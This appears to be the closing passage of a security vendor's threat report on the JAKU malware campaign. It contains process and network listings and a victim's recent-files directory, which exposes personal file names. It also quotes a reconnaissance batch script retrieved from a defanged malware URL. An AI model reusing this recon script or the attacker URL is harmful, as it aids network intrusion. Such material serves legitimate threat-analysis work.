<tr>
<td>svchost.exe</td>
<td>780 Audiosrv, Dhcp, eventlog, lmhosts, wscsvc</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>852 AudioEndpointBuilder, CacService, Netman, PcaSvc, SysMain, TrkWks, UxSms, WdiSystemHost, Wlansvc, wudfsvc</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>896 AeLookupSvc, BITS, Browser, EapHost, gpssvc, IREENT, iphpsvc, LanmanServer, MMCSS, ProfSvc, Schedule, SENS, ShellHWDetection, Themes, WmiPrvSE, wuserv</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>1364 N/A</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1522 Events, netprof, nsi, appuihello, wmservhost</td>
</tr>
<tr>
<td>chrome.exe</td>
<td>3644 N/A</td>
</tr>
<tr>
<td>chrome.exe</td>
<td>4028 N/A</td>
</tr>
<tr>
<td>chrome.exe</td>
<td>2248 N/A</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>2560 WinDefend</td>
</tr>
<tr>
<td>wmpnetwk.exe</td>
<td>3696 WMFPNetworkSvc</td>
</tr>
<tr>
<td>taskeng.exe</td>
<td>608 N/A</td>
</tr>
<tr>
<td>Services.exe</td>
<td>1408 N/A</td>
</tr>
<tr>
<td>WmiPrvSE.exe</td>
<td>2176 N/A</td>
</tr>
<tr>
<td>WmiPrvSE.exe</td>
<td>3088 N/A</td>
</tr>
<tr>
<td>TrustedInstaller.exe</td>
<td>3832 TrustedInstaller</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>3780 N/A</td>
</tr>
<tr>
<td>conhost.exe</td>
<td>3284 N/A</td>
</tr>
<tr>
<td>tasklist.exe</td>
<td>2872 N/A</td>
</tr>
</tbody>
</table>

```
<<netstat -ano>>

Active Connections

<table>
<thead>
<tr>
<th>Proto</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
<th>PID</th>
</tr>
</thead>
<tbody>
<tr>
<td>TCP</td>
<td>0.0.0.0:135</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
<td>708</td>
</tr>
<tr>
<td>TCP</td>
<td>0.0.0.0:445</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
<td>4</td>
</tr>
<tr>
<td>TCP</td>
<td>0.0.0.0:554</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
<td>3696</td>
</tr>
<tr>
<td>TCP</td>
<td>0.0.0.0:49158</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
<td>516</td>
</tr>
<tr>
<td>TCP</td>
<td>192.168.1.7:139</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
<td>4</td>
</tr>
<tr>
<td>TCP</td>
<td>192.168.1.7:49162</td>
<td>64.233.167.188:5228</td>
<td>ESTABLISHED</td>
<td>3416</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:135</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>708</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:445</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>4</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:554</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>3696</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:2869</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>4</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:10243</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>4</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:26143</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>4</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:49152</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>400</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:49153</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>780</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:49154</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>896</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:49155</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>500</td>
</tr>
<tr>
<td>TCP</td>
<td>[::]:49156</td>
<td>[::]:0</td>
<td>LISTENING</td>
<td>952</td>
</tr>
</tbody>
</table>
```
Volume in drive C has no label.
Volume Serial Number is 887D-B326
Directory of C:\Users\***\Recent
File Not Found

<<dir "%USERPROFILE%\Recent>>

Volume in drive C has no label.
Volume Serial Number is 887D-B326
Directory of C:\Users\***\Recent

---

TCP [::]:49157 [::]:0 LISTENING 1436
TCP [::]:49158 [::]:0 LISTENING 516

UDP 0.0.0.0:500 *:* 896
UDP 0.0.0.0:4500 *:* 896
UDP [::]:500 *:* 896
UDP [::]:4500 *:* 896
UDP [::]:5004 *:* 3696
UDP [::]:5005 *:* 3696
UDP [::]:5335 *:* 1156
UDP [::]:1900 *:* 3440
UDP [::]:49778 *:* 3440
UDP [fe80::ad52:568:3375:927b%11]:546 *:* 780
UDP [fe80::ad52:568:3375:927b%11]:1900 *:* 3440
UDP [fe80::ad52:568:3375:927b%11]:49777 *:* 3440

<<dir "%APPDATA%\Microsoft\Windows\Recent>>

Volume in drive C has no label.
Volume Serial Number is 887D-B326
Directory of C:\Users\***\AppData\Roaming\Microsoft\Windows\Recent

04/27/2015 12:29 AM <DIR> .
04/27/2015 12:29 AM <DIR> ..
04/26/2015 09:51 PM 601 00.lnk
04/01/2015 10:37 PM 687 100 WATT INVERTER.lnk
04/01/2015 10:36 PM 682 100 WATT INVERTER.lnk
04/19/2015 01:20 PM 595 20140423_204028.lnk
12/27/2014 03:13 PM 325 28.lnk
04/26/2015 09:51 PM 625 90 pic.lnk
04/26/2015 09:51 PM 606 900.lnk
04/10/2015 06:24 PM 695 A-COURSE OUTLINE(ISL.STU).lnk
04/26/2015 09:52 PM 606 ali.lnk
04/26/2015 09:52 PM 613 ali0.lnk
04/27/2015 12:28 AM 156 All Control Panel Items.lnk
04/08/2015 01:00 AM 156 Appearance and Personalization.lnk
03/20/2015 05:20 PM <DIR> AutomaticDestinations
01/01/2015 08:49 PM 616 bahria (2).lnk
12/24/2014 05:36 PM 722 bahria.lnk
04/19/2015 01:20 PM 425 bhai mob pic.lnk
03/08/2015 07:25 PM 2,672 Bluetooth.lnk
01/01/2015 08:34 PM 321 CD_ROM (G).lnk
04/19/2015 09:38 PM 3,811 Chrysanthemum.lnk
12/24/2014 04:16 PM 704 company profile.lnk
04/10/2015 06:24 PM 456 course outline 2015 IQRA.lnk
05/01/2015 09:05 AM <DIR> CustomDestinations
04/15/2015 10:05 AM 3,734 Desert.lnk
04/16/2015 10:48 AM 370 Download.lnk
12/24/2014 05:04 PM 702 ELECTRIC BILL RECORD.lnk
01/30/2015 07:05 PM 652 eReport *********.lnk
04/01/2015 10:33 PM 702 Faster Fingure First.lnk
04/27/2015 12:29 AM 156 Hardware and Sound.lnk
04/19/2015 09:44 PM 3,823 Hydrangeas.lnk
01/07/2015 01:55 PM 702 Item by part no. NEW.lnk
12/24/2014 04:16 PM 533 KU.lnk
03/08/2015 07:46 PM 3,378 Media.lnk
01/29/2015  03:02 PM 587 multan 042.lnk
04/18/2015  12:26 AM 156 Network and Internet.lnk
03/30/2015  12:06 PM 592 Outlook.com.lnk
12/27/2014  03:13 PM 222 OVI (G).lnk
03/08/2015  07:25 PM 1,926 Phone.lnk
01/01/2015  09:10 PM 417 PICNIC PIC.lnk
03/20/2015  05:20 PM 594 Pictures.lnk
04/08/2015  09:20 PM 156 Programs.lnk
03/30/2015  12:06 PM 541 qt.lnk
04/19/2015  09:44 PM 2,031 Sample Pictures.lnk
03/08/2015  07:09 PM 515 scanning docs.lnk
01/09/2015  11:55 AM 2,562 Scanned Documents.lnk
04/11/2015  07:08 PM 409 TIPU PIC.lnk
03/20/2015  05:20 PM 1,555 Untitled.lnk
04/25/2015  07:30 PM 515 VIDEO_TS.lnk
01/01/2015  08:34 PM 460 VLC PLAYER 2011.lnk
02/01/2015  12:15 AM 674 VTS_01_0.lnk
04/19/2015  01:12 PM 674 VTS_01_5.lnk
04/01/2015  10:33 PM 672 waqas inverter.lnk
03/08/2015  07:46 PM 4,172 WhatsApp Images.lnk

55 File(s) 53,597 bytes
4 Dir(s) 38,160,457,728 bytes free

...
PARTING THOUGHTS FOR THE READER

AN EXERCISE TO THE READER

During the JAKU investigation, a great deal of data was collected, collated and analysed. Some of the data throws greater insight on the JAKU campaign, while much of it, sadly, does not. Occasionally, when ‘pivoting’ off already collected data, strange and unusual things are found; for example, learning that Shokushu is Japanese for tentacle.

Unfortunately, time is sometimes not available to allow for the “so what?” questions to be answered fully. One example is the following script which was found at the URL: hxxp://bestshop.minidns.net/test/ccdown/ping.bat. Although dating back to November 2014, it is still noteworthy because of a number of curiosity reasons. One example is: “Why ‘ping’ after doing the ‘traceroute’?”

The remaining reasons are left as an exercise to the reader. However, this is not the Easter-egg you are looking for:

```
traceret fs.star.kp >> %tmp%\temp98746.tmp
ping fs.star.kp >> %tmp%\temp98746.tmp
traceret 172.16.1.18 >> %tmp%\temp98746.tmp
ping 172.16.0.38 >> %tmp%\temp98746.tmp
ping 172.16.0.37 >> %tmp%\temp98746.tmp
ping 172.16.4.1 >> %tmp%\temp98746.tmp
ping 10.10.1.1 >> %tmp%\temp98746.tmp
ping 1.0.128.2 >> %tmp%\temp98746.tmp
```

WHY JAKU?

“The most merciful thing in the world, I think, is the inability of the human mind to correlate all its contents.”  
(Lovecraft, The Call of Cthulhu, 1926)

During the course of our investigation we have been often asked “Why JAKU?”

Initially, it was a misspelt reference to the desert planet in the Star Wars movie The Force Awakens. This was because we had discovered a number of Star Wars references made by the threat actors within their malware. This included R2D2. Because we had no wish to face any copyright issues, we spelt it as JAKU.

However, as we embarked on our investigation we found out more about JAKU. We realised that this thing had reached every corner of the world. As we continued, it began to emerge that this beast had a centre of gravity somewhere in the Gulf of Thailand and a predilection for attacking Japan and South Korea.

As an unashamed fan Japanese monster movies, anime, manga and DJ Krush, and with more than a passing interest in Lovecraft’s Cthulhu mythos, it was clear (to me at least) that JAKU should be represented as a tentacle wielding sea monster rising from ocean to grab its next set of victims. This fitted well with our observation of the noticeable amount of pirated anime movies on the victim machines, downloaded from sites ‘baited’ with malware to catch the next unsuspecting victims.

Andy Settle Head of Special Investigations, Forcepoint Security Labs
REFERENCES


- Kaspersky, DarkHotel: a spy campaign in luxury Asian hotels (Nov 2014), Available from: <https://blog.kaspersky.co.uk/darkhotel-apt>. [Sep 2015].


- Sophos, What the FBI didn't tell us about the hotel malware threat | Naked Security (May 2012), Available from: <https://nakedsecurity.sophos.com/2012/05/10/fbi-hotel-malware-threat>. [Dec 2015].


